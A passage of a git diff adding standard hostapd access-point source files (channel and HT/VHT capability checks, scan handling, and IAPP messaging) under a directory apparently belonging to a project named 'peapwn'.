ieee80211_ht_operation *) elems.ht_operation; + *pri_chan = oper->control_chan; + if (oper->ht_param & HT_INFO_HT_PARAM_REC_TRANS_CHNL_WIDTH) { + int sec = oper->ht_param & + HT_INFO_HT_PARAM_SECONDARY_CHNL_OFF_MASK; + if (sec == HT_INFO_HT_PARAM_SECONDARY_CHNL_ABOVE) + *sec_chan = *pri_chan + 4; + else if (sec == HT_INFO_HT_PARAM_SECONDARY_CHNL_BELOW) + *sec_chan = *pri_chan - 4; + } + } +} + + +static int ieee80211n_check_40mhz_5g(struct hostapd_iface *iface, + struct wpa_scan_results *scan_res) +{ + int pri_chan, sec_chan, pri_freq, sec_freq, pri_bss, sec_bss; + int bss_pri_chan, bss_sec_chan; + size_t i; + int match; + + pri_chan = iface->conf->channel; + sec_chan = iface->conf->secondary_channel * 4; + pri_freq = hostapd_hw_get_freq(iface->bss[0], pri_chan); + if (iface->conf->secondary_channel > 0) + sec_freq = pri_freq + 20; + else + sec_freq = pri_freq - 20; + + /* + * Switch PRI/SEC channels if Beacons were detected on selected SEC + * channel, but not on selected PRI channel. + */ + pri_bss = sec_bss = 0; + for (i = 0; i < scan_res->num; i++) { + struct wpa_scan_res *bss = scan_res->res[i]; + if (bss->freq == pri_freq) + pri_bss++; + else if (bss->freq == sec_freq) + sec_bss++; + } + if (sec_bss && !pri_bss) { + wpa_printf(MSG_INFO, "Switch own primary and secondary " + "channel to get secondary channel with no Beacons " + "from other BSSes"); + ieee80211n_switch_pri_sec(iface); + } + + /* + * Match PRI/SEC channel with any existing HT40 BSS on the same + * channels that we are about to use (if already mixed order in + * existing BSSes, use own preference). + */ + match = 0; + for (i = 0; i < scan_res->num; i++) { + struct wpa_scan_res *bss = scan_res->res[i]; + ieee80211n_get_pri_sec_chan(bss, &bss_pri_chan, &bss_sec_chan); + if (pri_chan == bss_pri_chan && + sec_chan == bss_sec_chan) { + match = 1; + break; + } + } + if (!match) { + for (i = 0; i < scan_res->num; i++) { + struct wpa_scan_res *bss = scan_res->res[i]; + ieee80211n_get_pri_sec_chan(bss, &bss_pri_chan, + &bss_sec_chan); + if (pri_chan == bss_sec_chan && + sec_chan == bss_pri_chan) { + wpa_printf(MSG_INFO, "Switch own primary and " + "secondary channel due to BSS " + "overlap with " MACSTR, + MAC2STR(bss->bssid)); + ieee80211n_switch_pri_sec(iface); + break; + } + } + } + + return 1; +} + + +static int ieee80211n_check_40mhz_2g4(struct hostapd_iface *iface, + struct wpa_scan_results *scan_res) +{ + int pri_freq, sec_freq; + int affected_start, affected_end; + size_t i; + + pri_freq = hostapd_hw_get_freq(iface->bss[0], iface->conf->channel); + if (iface->conf->secondary_channel > 0) + sec_freq = pri_freq + 20; + else + sec_freq = pri_freq - 20; + affected_start = (pri_freq + sec_freq) / 2 - 25; + affected_end = (pri_freq + sec_freq) / 2 + 25; + wpa_printf(MSG_DEBUG, "40 MHz affected channel range: [%d,%d] MHz", + affected_start, affected_end); + for (i = 0; i < scan_res->num; i++) { + struct wpa_scan_res *bss = scan_res->res[i]; + int pri = bss->freq; + int sec = pri; + int sec_chan, pri_chan; + + ieee80211n_get_pri_sec_chan(bss, &pri_chan, &sec_chan); + + if (sec_chan) { + if (sec_chan < pri_chan) + sec = pri - 20; + else + sec = pri + 20; + } + + if ((pri < affected_start || pri > affected_end) && + (sec < affected_start || sec > affected_end)) + continue; /* not within affected channel range */ + + wpa_printf(MSG_DEBUG, "Neighboring BSS: " MACSTR + " freq=%d pri=%d sec=%d", + MAC2STR(bss->bssid), bss->freq, pri_chan, sec_chan); + + if (sec_chan) { + if (pri_freq != pri || sec_freq != sec) { + wpa_printf(MSG_DEBUG, "40 MHz pri/sec " + "mismatch with BSS " MACSTR + " <%d,%d> (chan=%d%c) vs. <%d,%d>", + MAC2STR(bss->bssid), + pri, sec, pri_chan, + sec > pri ? '+' : '-', + pri_freq, sec_freq); + return 0; + } + } + + /* TODO: 40 MHz intolerant */ + } + + return 1; +} + + +static void ieee80211n_check_scan(struct hostapd_iface *iface) +{ + struct wpa_scan_results *scan_res; + int oper40; + int res; + + /* Check list of neighboring BSSes (from scan) to see whether 40 MHz is + * allowed per IEEE Std 802.11-2012, 10.15.3.2 */ + + iface->scan_cb = NULL; + + scan_res = hostapd_driver_get_scan_results(iface->bss[0]); + if (scan_res == NULL) { + hostapd_setup_interface_complete(iface, 1); + return; + } + + if (iface->current_mode->mode == HOSTAPD_MODE_IEEE80211A) + oper40 = ieee80211n_check_40mhz_5g(iface, scan_res); + else + oper40 = ieee80211n_check_40mhz_2g4(iface, scan_res); + wpa_scan_results_free(scan_res); + + if (!oper40) { + wpa_printf(MSG_INFO, "20/40 MHz operation not permitted on " + "channel pri=%d sec=%d based on overlapping BSSes", + iface->conf->channel, + iface->conf->channel + + iface->conf->secondary_channel * 4); + iface->conf->secondary_channel = 0; + } + + res = ieee80211n_allowed_ht40_channel_pair(iface); + hostapd_setup_interface_complete(iface, !res); +} + + +static void ieee80211n_scan_channels_2g4(struct hostapd_iface *iface, + struct wpa_driver_scan_params *params) +{ + /* Scan only the affected frequency range */ + int pri_freq, sec_freq; + int affected_start, affected_end; + int i, pos; + struct hostapd_hw_modes *mode; + + if (iface->current_mode == NULL) + return; + + pri_freq = hostapd_hw_get_freq(iface->bss[0], iface->conf->channel); + if (iface->conf->secondary_channel > 0) + sec_freq = pri_freq + 20; + else + sec_freq = pri_freq - 20; + affected_start = (pri_freq + sec_freq) / 2 - 25; + affected_end = (pri_freq + sec_freq) / 2 + 25; + wpa_printf(MSG_DEBUG, "40 MHz affected channel range: [%d,%d] MHz", + affected_start, affected_end); + + mode = iface->current_mode; + params->freqs = os_calloc(mode->num_channels + 1, sizeof(int)); + if (params->freqs == NULL) + return; + pos = 0; + + for (i = 0; i < mode->num_channels; i++) { + struct hostapd_channel_data *chan = &mode->channels[i]; + if (chan->flag & HOSTAPD_CHAN_DISABLED) + continue; + if (chan->freq < affected_start || + chan->freq > affected_end) + continue; + params->freqs[pos++] = chan->freq; + } +} + + +static void ieee80211n_scan_channels_5g(struct hostapd_iface *iface, + struct wpa_driver_scan_params *params) +{ + /* Scan only the affected frequency range */ + int pri_freq; + int affected_start, affected_end; + int i, pos; + struct hostapd_hw_modes *mode; + + if (iface->current_mode == NULL) + return; + + pri_freq = hostapd_hw_get_freq(iface->bss[0], iface->conf->channel); + if (iface->conf->secondary_channel > 0) { + affected_start = pri_freq - 10; + affected_end = pri_freq + 30; + } else { + affected_start = pri_freq - 30; + affected_end = pri_freq + 10; + } + wpa_printf(MSG_DEBUG, "40 MHz affected channel range: [%d,%d] MHz", + affected_start, affected_end); + + mode = iface->current_mode; + params->freqs = os_calloc(mode->num_channels + 1, sizeof(int)); + if (params->freqs == NULL) + return; + pos = 0; + + for (i = 0; i < mode->num_channels; i++) { + struct hostapd_channel_data *chan = &mode->channels[i]; + if (chan->flag & HOSTAPD_CHAN_DISABLED) + continue; + if (chan->freq < affected_start || + chan->freq > affected_end) + continue; + params->freqs[pos++] = chan->freq; + } +} + + +static int ieee80211n_check_40mhz(struct hostapd_iface *iface) +{ + struct wpa_driver_scan_params params; + + if (!iface->conf->secondary_channel) + return 0; /* HT40 not used */ + + hostapd_set_state(iface, HAPD_IFACE_HT_SCAN); + wpa_printf(MSG_DEBUG, "Scan for neighboring BSSes prior to enabling " + "40 MHz channel"); + os_memset(¶ms, 0, sizeof(params)); + if (iface->current_mode->mode == HOSTAPD_MODE_IEEE80211G) + ieee80211n_scan_channels_2g4(iface, ¶ms); + else + ieee80211n_scan_channels_5g(iface, ¶ms); + if (hostapd_driver_scan(iface->bss[0], ¶ms) < 0) { + wpa_printf(MSG_ERROR, "Failed to request a scan of " + "neighboring BSSes"); + os_free(params.freqs); + return -1; + } + os_free(params.freqs); + + iface->scan_cb = ieee80211n_check_scan; + return 1; +} + + +static int ieee80211n_supported_ht_capab(struct hostapd_iface *iface) +{ + u16 hw = iface->current_mode->ht_capab; + u16 conf = iface->conf->ht_capab; + + if ((conf & HT_CAP_INFO_LDPC_CODING_CAP) && + !(hw & HT_CAP_INFO_LDPC_CODING_CAP)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [LDPC]"); + return 0; + } + + if ((conf & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET) && + !(hw & HT_CAP_INFO_SUPP_CHANNEL_WIDTH_SET)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [HT40*]"); + return 0; + } + + if ((conf & HT_CAP_INFO_SMPS_MASK) != (hw & HT_CAP_INFO_SMPS_MASK) && + (conf & HT_CAP_INFO_SMPS_MASK) != HT_CAP_INFO_SMPS_DISABLED) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [SMPS-*]"); + return 0; + } + + if ((conf & HT_CAP_INFO_GREEN_FIELD) && + !(hw & HT_CAP_INFO_GREEN_FIELD)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [GF]"); + return 0; + } + + if ((conf & HT_CAP_INFO_SHORT_GI20MHZ) && + !(hw & HT_CAP_INFO_SHORT_GI20MHZ)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [SHORT-GI-20]"); + return 0; + } + + if ((conf & HT_CAP_INFO_SHORT_GI40MHZ) && + !(hw & HT_CAP_INFO_SHORT_GI40MHZ)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [SHORT-GI-40]"); + return 0; + } + + if ((conf & HT_CAP_INFO_TX_STBC) && !(hw & HT_CAP_INFO_TX_STBC)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [TX-STBC]"); + return 0; + } + + if ((conf & HT_CAP_INFO_RX_STBC_MASK) > + (hw & HT_CAP_INFO_RX_STBC_MASK)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [RX-STBC*]"); + return 0; + } + + if ((conf & HT_CAP_INFO_DELAYED_BA) && + !(hw & HT_CAP_INFO_DELAYED_BA)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [DELAYED-BA]"); + return 0; + } + + if ((conf & HT_CAP_INFO_MAX_AMSDU_SIZE) && + !(hw & HT_CAP_INFO_MAX_AMSDU_SIZE)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [MAX-AMSDU-7935]"); + return 0; + } + + if ((conf & HT_CAP_INFO_DSSS_CCK40MHZ) && + !(hw & HT_CAP_INFO_DSSS_CCK40MHZ)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [DSSS_CCK-40]"); + return 0; + } + + if ((conf & HT_CAP_INFO_PSMP_SUPP) && !(hw & HT_CAP_INFO_PSMP_SUPP)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [PSMP]"); + return 0; + } + + if ((conf & HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT) && + !(hw & HT_CAP_INFO_LSIG_TXOP_PROTECT_SUPPORT)) { + wpa_printf(MSG_ERROR, "Driver does not support configured " + "HT capability [LSIG-TXOP-PROT]"); + return 0; + } + + return 1; +} + + +#ifdef CONFIG_IEEE80211AC + +static int ieee80211ac_cap_check(u32 hw, u32 conf, u32 cap, const char *name) +{ + u32 req_cap = conf & cap; + + /* + * Make sure we support all requested capabilities. + * NOTE: We assume that 'cap' represents a capability mask, + * not a discrete value. + */ + if ((hw & req_cap) != req_cap) { + wpa_printf(MSG_ERROR, "Driver does not support configured VHT capability [%s]", + name); + return 0; + } + return 1; +} + + +static int ieee80211ac_cap_check_max(u32 hw, u32 conf, u32 cap, + const char *name) +{ + u32 hw_max = hw & cap; + u32 conf_val = conf & cap; + + if (conf_val > hw_max) { + int offset = find_first_bit(cap); + wpa_printf(MSG_ERROR, "Configured VHT capability [%s] exceeds max value supported by the driver (%d > %d)", + name, conf_val >> offset, hw_max >> offset); + return 0; + } + return 1; +} + + +static int ieee80211ac_supported_vht_capab(struct hostapd_iface *iface) +{ + u32 hw = iface->current_mode->vht_capab; + u32 conf = iface->conf->vht_capab; + + wpa_printf(MSG_DEBUG, "hw vht capab: 0x%x, conf vht capab: 0x%x", + hw, conf); + +#define VHT_CAP_CHECK(cap) \ + do { \ + if (!ieee80211ac_cap_check(hw, conf, cap, #cap)) \ + return 0; \ + } while (0) + +#define VHT_CAP_CHECK_MAX(cap) \ + do { \ + if (!ieee80211ac_cap_check_max(hw, conf, cap, #cap)) \ + return 0; \ + } while (0) + + VHT_CAP_CHECK_MAX(VHT_CAP_MAX_MPDU_LENGTH_MASK); + VHT_CAP_CHECK(VHT_CAP_SUPP_CHAN_WIDTH_160MHZ); + VHT_CAP_CHECK(VHT_CAP_SUPP_CHAN_WIDTH_160_80PLUS80MHZ); + VHT_CAP_CHECK(VHT_CAP_RXLDPC); + VHT_CAP_CHECK(VHT_CAP_SHORT_GI_80); + VHT_CAP_CHECK(VHT_CAP_SHORT_GI_160); + VHT_CAP_CHECK(VHT_CAP_TXSTBC); + VHT_CAP_CHECK_MAX(VHT_CAP_RXSTBC_MASK); + VHT_CAP_CHECK(VHT_CAP_SU_BEAMFORMER_CAPABLE); + VHT_CAP_CHECK(VHT_CAP_SU_BEAMFORMEE_CAPABLE); + VHT_CAP_CHECK_MAX(VHT_CAP_BEAMFORMEE_STS_MAX); + VHT_CAP_CHECK_MAX(VHT_CAP_SOUNDING_DIMENSION_MAX); + VHT_CAP_CHECK(VHT_CAP_MU_BEAMFORMER_CAPABLE); + VHT_CAP_CHECK(VHT_CAP_MU_BEAMFORMEE_CAPABLE); + VHT_CAP_CHECK(VHT_CAP_VHT_TXOP_PS); + VHT_CAP_CHECK(VHT_CAP_HTC_VHT); + VHT_CAP_CHECK_MAX(VHT_CAP_MAX_A_MPDU_LENGTH_EXPONENT); + VHT_CAP_CHECK(VHT_CAP_VHT_LINK_ADAPTATION_VHT_UNSOL_MFB); + VHT_CAP_CHECK(VHT_CAP_VHT_LINK_ADAPTATION_VHT_MRQ_MFB); + VHT_CAP_CHECK(VHT_CAP_RX_ANTENNA_PATTERN); + VHT_CAP_CHECK(VHT_CAP_TX_ANTENNA_PATTERN); + +#undef VHT_CAP_CHECK +#undef VHT_CAP_CHECK_MAX + + return 1; +} +#endif /* CONFIG_IEEE80211AC */ + +#endif /* CONFIG_IEEE80211N */ + + +int hostapd_check_ht_capab(struct hostapd_iface *iface) +{ +#ifdef CONFIG_IEEE80211N + int ret; + if (!iface->conf->ieee80211n) + return 0; + if (!ieee80211n_supported_ht_capab(iface)) + return -1; +#ifdef CONFIG_IEEE80211AC + if (!ieee80211ac_supported_vht_capab(iface)) + return -1; +#endif /* CONFIG_IEEE80211AC */ + ret = ieee80211n_check_40mhz(iface); + if (ret) + return ret; + if (!ieee80211n_allowed_ht40_channel_pair(iface)) + return -1; +#endif /* CONFIG_IEEE80211N */ + + return 0; +} + + +static int hostapd_is_usable_chan(struct hostapd_iface *iface, + int channel, int primary) +{ + int i; + struct hostapd_channel_data *chan; + + for (i = 0; i < iface->current_mode->num_channels; i++) { + chan = &iface->current_mode->channels[i]; + if (chan->chan != channel) + continue; + + if (!(chan->flag & HOSTAPD_CHAN_DISABLED)) + return 1; + + wpa_printf(MSG_DEBUG, + "%schannel [%i] (%i) is disabled for use in AP mode, flags: 0x%x%s%s%s", + primary ? "" : "Configured HT40 secondary ", + i, chan->chan, chan->flag, + chan->flag & HOSTAPD_CHAN_NO_IBSS ? " NO-IBSS" : "", + chan->flag & HOSTAPD_CHAN_PASSIVE_SCAN ? + " PASSIVE-SCAN" : "", + chan->flag & HOSTAPD_CHAN_RADAR ? " RADAR" : ""); + } + + return 0; +} + + +static int hostapd_is_usable_chans(struct hostapd_iface *iface) +{ + if (!hostapd_is_usable_chan(iface, iface->conf->channel, 1)) + return 0; + + if (!iface->conf->secondary_channel) + return 1; + + return hostapd_is_usable_chan(iface, iface->conf->channel + + iface->conf->secondary_channel * 4, 0); +} + + +static enum hostapd_chan_status +hostapd_check_chans(struct hostapd_iface *iface) +{ + if (iface->conf->channel) { + if (hostapd_is_usable_chans(iface)) + return HOSTAPD_CHAN_VALID; + else + return HOSTAPD_CHAN_INVALID; + } + + /* + * The user set channel=0 or channel=acs_survey + * which is used to trigger ACS. + */ + + switch (acs_init(iface)) { + case HOSTAPD_CHAN_ACS: + return HOSTAPD_CHAN_ACS; + case HOSTAPD_CHAN_VALID: + case HOSTAPD_CHAN_INVALID: + default: + return HOSTAPD_CHAN_INVALID; + } +} + + +static void hostapd_notify_bad_chans(struct hostapd_iface *iface) +{ + hostapd_logger(iface->bss[0], NULL, + HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_WARNING, + "Configured channel (%d) not found from the " + "channel list of current mode (%d) %s", + iface->conf->channel, + iface->current_mode->mode, + hostapd_hw_mode_txt(iface->current_mode->mode)); + hostapd_logger(iface->bss[0], NULL, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_WARNING, + "Hardware does not support configured channel"); +} + + +int hostapd_acs_completed(struct hostapd_iface *iface, int err) +{ + int ret = -1; + + if (err) + goto out; + + switch (hostapd_check_chans(iface)) { + case HOSTAPD_CHAN_VALID: + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, + ACS_EVENT_COMPLETED "freq=%d channel=%d", + hostapd_hw_get_freq(iface->bss[0], + iface->conf->channel), + iface->conf->channel); + break; + case HOSTAPD_CHAN_ACS: + wpa_printf(MSG_ERROR, "ACS error - reported complete, but no result available"); + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, ACS_EVENT_FAILED); + hostapd_notify_bad_chans(iface); + goto out; + case HOSTAPD_CHAN_INVALID: + default: + wpa_printf(MSG_ERROR, "ACS picked unusable channels"); + wpa_msg(iface->bss[0]->msg_ctx, MSG_INFO, ACS_EVENT_FAILED); + hostapd_notify_bad_chans(iface); + goto out; + } + + ret = hostapd_check_ht_capab(iface); + if (ret < 0) + goto out; + if (ret == 1) { + wpa_printf(MSG_DEBUG, "Interface initialization will be completed in a callback"); + return 0; + } + + ret = 0; +out: + return hostapd_setup_interface_complete(iface, ret); +} + + +/** + * hostapd_select_hw_mode - Select the hardware mode + * @iface: Pointer to interface data. + * Returns: 0 on success, < 0 on failure + * + * Sets up the hardware mode, channel, rates, and passive scanning + * based on the configuration. + */ +int hostapd_select_hw_mode(struct hostapd_iface *iface) +{ + int i; + + if (iface->num_hw_features < 1) + return -1; + + iface->current_mode = NULL; + for (i = 0; i < iface->num_hw_features; i++) { + struct hostapd_hw_modes *mode = &iface->hw_features[i]; + if (mode->mode == iface->conf->hw_mode) { + iface->current_mode = mode; + break; + } + } + + if (iface->current_mode == NULL) { + wpa_printf(MSG_ERROR, "Hardware does not support configured " + "mode"); + hostapd_logger(iface->bss[0], NULL, HOSTAPD_MODULE_IEEE80211, + HOSTAPD_LEVEL_WARNING, + "Hardware does not support configured mode " + "(%d) (hw_mode in hostapd.conf)", + (int) iface->conf->hw_mode); + return -2; + } + + switch (hostapd_check_chans(iface)) { + case HOSTAPD_CHAN_VALID: + return 0; + case HOSTAPD_CHAN_ACS: /* ACS will run and later complete */ + return 1; + case HOSTAPD_CHAN_INVALID: + default: + hostapd_notify_bad_chans(iface); + return -3; + } + + return 0; +} + + +const char * hostapd_hw_mode_txt(int mode) +{ + switch (mode) { + case HOSTAPD_MODE_IEEE80211A: + return "IEEE 802.11a"; + case HOSTAPD_MODE_IEEE80211B: + return "IEEE 802.11b"; + case HOSTAPD_MODE_IEEE80211G: + return "IEEE 802.11g"; + case HOSTAPD_MODE_IEEE80211AD: + return "IEEE 802.11ad"; + default: + return "UNKNOWN"; + } +} + + +int hostapd_hw_get_freq(struct hostapd_data *hapd, int chan) +{ + int i; + + if (!hapd->iface->current_mode) + return 0; + + for (i = 0; i < hapd->iface->current_mode->num_channels; i++) { + struct hostapd_channel_data *ch = + &hapd->iface->current_mode->channels[i]; + if (ch->chan == chan) + return ch->freq; + } + + return 0; +} + + +int hostapd_hw_get_channel(struct hostapd_data *hapd, int freq) +{ + int i; + + if (!hapd->iface->current_mode) + return 0; + + for (i = 0; i < hapd->iface->current_mode->num_channels; i++) { + struct hostapd_channel_data *ch = + &hapd->iface->current_mode->channels[i]; + if (ch->freq == freq) + return ch->chan; + } + + return 0; +} diff --git a/peapwn/mods/hostap/src/ap/hw_features.h b/peapwn/mods/hostap/src/ap/hw_features.h new file mode 100644 index 000000000..abadcd137 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/hw_features.h @@ -0,0 +1,71 @@ +/* + * hostapd / Hardware feature query and different modes + * Copyright 2002-2003, Instant802 Networks, Inc. + * Copyright 2005-2006, Devicescape Software, Inc. + * Copyright (c) 2008-2011, Jouni Malinen + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#ifndef HW_FEATURES_H +#define HW_FEATURES_H + +#ifdef NEED_AP_MLME +void hostapd_free_hw_features(struct hostapd_hw_modes *hw_features, + size_t num_hw_features); +int hostapd_get_hw_features(struct hostapd_iface *iface); +int hostapd_select_hw_mode(struct hostapd_iface *iface); +const char * hostapd_hw_mode_txt(int mode); +int hostapd_hw_get_freq(struct hostapd_data *hapd, int chan); +int hostapd_hw_get_channel(struct hostapd_data *hapd, int freq); +int hostapd_check_ht_capab(struct hostapd_iface *iface); +int hostapd_prepare_rates(struct hostapd_iface *iface, + struct hostapd_hw_modes *mode); +#else /* NEED_AP_MLME */ +static inline void +hostapd_free_hw_features(struct hostapd_hw_modes *hw_features, + size_t num_hw_features) +{ +} + +static inline int hostapd_get_hw_features(struct hostapd_iface *iface) +{ + return -1; +} + +static inline int hostapd_select_hw_mode(struct hostapd_iface *iface) +{ + return -100; +} + +static inline const char * hostapd_hw_mode_txt(int mode) +{ + return NULL; +} + +static inline int hostapd_hw_get_freq(struct hostapd_data *hapd, int chan) +{ + return -1; +} + +static inline int hostapd_check_ht_capab(struct hostapd_iface *iface) +{ + return 0; +} + +static inline int hostapd_prepare_rates(struct hostapd_iface *iface, + struct hostapd_hw_modes *mode) +{ + return 0; +} + +#endif /* NEED_AP_MLME */ + +#endif /* HW_FEATURES_H */ diff --git a/peapwn/mods/hostap/src/ap/iapp.c b/peapwn/mods/hostap/src/ap/iapp.c new file mode 100644 index 000000000..bad080f02 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/iapp.c @@ -0,0 +1,540 @@ +/* + * hostapd / IEEE 802.11F-2003 Inter-Access Point Protocol (IAPP) + * Copyright (c) 2002-2007, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + * + * Note: IEEE 802.11F-2003 was a experimental use specification. It has expired + * and IEEE has withdrawn it. In other words, it is likely better to look at + * using some other mechanism for AP-to-AP communication than extending the + * implementation here. + */ + +/* TODO: + * Level 1: no administrative or security support + * (e.g., static BSSID to IP address mapping in each AP) + * Level 2: support for dynamic mapping of BSSID to IP address + * Level 3: support for encryption and authentication of IAPP messages + * - add support for MOVE-notify and MOVE-response (this requires support for + * finding out IP address for previous AP using RADIUS) + * - add support for Send- and ACK-Security-Block to speedup IEEE 802.1X during + * reassociation to another AP + * - implement counters etc. for IAPP MIB + * - verify endianness of fields in IAPP messages; are they big-endian as + * used here? + * - RADIUS connection for AP registration and BSSID to IP address mapping + * - TCP connection for IAPP MOVE, CACHE + * - broadcast ESP for IAPP ADD-notify + * - ESP for IAPP MOVE messages + * - security block sending/processing + * - IEEE 802.11 context transfer + */ + +#include "utils/includes.h" +#include +#include +#ifdef USE_KERNEL_HEADERS +#include +#else /* USE_KERNEL_HEADERS */ +#include +#endif /* USE_KERNEL_HEADERS */ + +#include "utils/common.h" +#include "utils/eloop.h" +#include "common/ieee802_11_defs.h" +#include "hostapd.h" +#include "ap_config.h" +#include "ieee802_11.h" +#include "sta_info.h" +#include "iapp.h" + + +#define IAPP_MULTICAST "224.0.1.178" +#define IAPP_UDP_PORT 3517 +#define IAPP_TCP_PORT 3517 + +struct iapp_hdr { + u8 version; + u8 command; + be16 identifier; + be16 length; + /* followed by length-6 octets of data */ +} __attribute__ ((packed)); + +#define IAPP_VERSION 0 + +enum IAPP_COMMAND { + IAPP_CMD_ADD_notify = 0, + IAPP_CMD_MOVE_notify = 1, + IAPP_CMD_MOVE_response = 2, + IAPP_CMD_Send_Security_Block = 3, + IAPP_CMD_ACK_Security_Block = 4, + IAPP_CMD_CACHE_notify = 5, + IAPP_CMD_CACHE_response = 6, +}; + + +/* ADD-notify - multicast UDP on the local LAN */ +struct iapp_add_notify { + u8 addr_len; /* ETH_ALEN */ + u8 reserved; + u8 mac_addr[ETH_ALEN]; + be16 seq_num; +} __attribute__ ((packed)); + + +/* Layer 2 Update frame (802.2 Type 1 LLC XID Update response) */ +struct iapp_layer2_update { + u8 da[ETH_ALEN]; /* broadcast */ + u8 sa[ETH_ALEN]; /* STA addr */ + be16 len; /* 6 */ + u8 dsap; /* null DSAP address */ + u8 ssap; /* null SSAP address, CR=Response */ + u8 control; + u8 xid_info[3]; +} __attribute__ ((packed)); + + +/* MOVE-notify - unicast TCP */ +struct iapp_move_notify { + u8 addr_len; /* ETH_ALEN */ + u8 reserved; + u8 mac_addr[ETH_ALEN]; + u16 seq_num; + u16 ctx_block_len; + /* followed by ctx_block_len bytes */ +} __attribute__ ((packed)); + + +/* MOVE-response - unicast TCP */ +struct iapp_move_response { + u8 addr_len; /* ETH_ALEN */ + u8 status; + u8 mac_addr[ETH_ALEN]; + u16 seq_num; + u16 ctx_block_len; + /* followed by ctx_block_len bytes */ +} __attribute__ ((packed)); + +enum { + IAPP_MOVE_SUCCESSFUL = 0, + IAPP_MOVE_DENIED = 1, + IAPP_MOVE_STALE_MOVE = 2, +}; + + +/* CACHE-notify */ +struct iapp_cache_notify { + u8 addr_len; /* ETH_ALEN */ + u8 reserved; + u8 mac_addr[ETH_ALEN]; + u16 seq_num; + u8 current_ap[ETH_ALEN]; + u16 ctx_block_len; + /* ctx_block_len bytes of context block followed by 16-bit context + * timeout */ +} __attribute__ ((packed)); + + +/* CACHE-response - unicast TCP */ +struct iapp_cache_response { + u8 addr_len; /* ETH_ALEN */ + u8 status; + u8 mac_addr[ETH_ALEN]; + u16 seq_num; +} __attribute__ ((packed)); + +enum { + IAPP_CACHE_SUCCESSFUL = 0, + IAPP_CACHE_STALE_CACHE = 1, +}; + + +/* Send-Security-Block - unicast TCP */ +struct iapp_send_security_block { + u8 iv[8]; + u16 sec_block_len; + /* followed by sec_block_len bytes of security block */ +} __attribute__ ((packed)); + + +/* ACK-Security-Block - unicast TCP */ +struct iapp_ack_security_block { + u8 iv[8]; + u8 new_ap_ack_authenticator[48]; +} __attribute__ ((packed)); + + +struct iapp_data { + struct hostapd_data *hapd; + u16 identifier; /* next IAPP identifier */ + struct in_addr own, multicast; + int udp_sock; + int packet_sock; +}; + + +static void iapp_send_add(struct iapp_data *iapp, u8 *mac_addr, u16 seq_num) +{ + char buf[128]; + struct iapp_hdr *hdr; + struct iapp_add_notify *add; + struct sockaddr_in addr; + + /* Send IAPP ADD-notify to remove possible association from other APs + */ + + hdr = (struct iapp_hdr *) buf; + hdr->version = IAPP_VERSION; + hdr->command = IAPP_CMD_ADD_notify; + hdr->identifier = host_to_be16(iapp->identifier++); + hdr->length = host_to_be16(sizeof(*hdr) + sizeof(*add)); + + add = (struct iapp_add_notify *) (hdr + 1); + add->addr_len = ETH_ALEN; + add->reserved = 0; + os_memcpy(add->mac_addr, mac_addr, ETH_ALEN); + + add->seq_num = host_to_be16(seq_num); + + os_memset(&addr, 0, sizeof(addr)); + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = iapp->multicast.s_addr; + addr.sin_port = htons(IAPP_UDP_PORT); + if (sendto(iapp->udp_sock, buf, (char *) (add + 1) - buf, 0, + (struct sockaddr *) &addr, sizeof(addr)) < 0) + wpa_printf(MSG_INFO, "sendto[IAPP-ADD]: %s", strerror(errno)); +} + + +static void iapp_send_layer2_update(struct iapp_data *iapp, u8 *addr) +{ + struct iapp_layer2_update msg; + + /* Send Level 2 Update Frame to update forwarding tables in layer 2 + * bridge devices */ + + /* 802.2 Type 1 Logical Link Control (LLC) Exchange Identifier (XID) + * Update response frame; IEEE Std 802.2-1998, 5.4.1.2.1 */ + + os_memset(msg.da, 0xff, ETH_ALEN); + os_memcpy(msg.sa, addr, ETH_ALEN); + msg.len = host_to_be16(6); + msg.dsap = 0; /* NULL DSAP address */ + msg.ssap = 0x01; /* NULL SSAP address, CR Bit: Response */ + msg.control = 0xaf; /* XID response lsb.1111F101. + * F=0 (no poll command; unsolicited frame) */ + msg.xid_info[0] = 0x81; /* XID format identifier */ + msg.xid_info[1] = 1; /* LLC types/classes: Type 1 LLC */ + msg.xid_info[2] = 1 << 1; /* XID sender's receive window size (RW) + * FIX: what is correct RW with 802.11? */ + + if (send(iapp->packet_sock, &msg, sizeof(msg), 0) < 0) + wpa_printf(MSG_INFO, "send[L2 Update]: %s", strerror(errno)); +} + + +/** + * iapp_new_station - IAPP processing for a new STA + * @iapp: IAPP data + * @sta: The associated station + */ +void iapp_new_station(struct iapp_data *iapp, struct sta_info *sta) +{ + struct ieee80211_mgmt *assoc; + u16 seq; + + if (iapp == NULL) + return; + + assoc = sta->last_assoc_req; + seq = assoc ? WLAN_GET_SEQ_SEQ(le_to_host16(assoc->seq_ctrl)) : 0; + + /* IAPP-ADD.request(MAC Address, Sequence Number, Timeout) */ + hostapd_logger(iapp->hapd, sta->addr, HOSTAPD_MODULE_IAPP, + HOSTAPD_LEVEL_DEBUG, "IAPP-ADD.request(seq=%d)", seq); + iapp_send_layer2_update(iapp, sta->addr); + 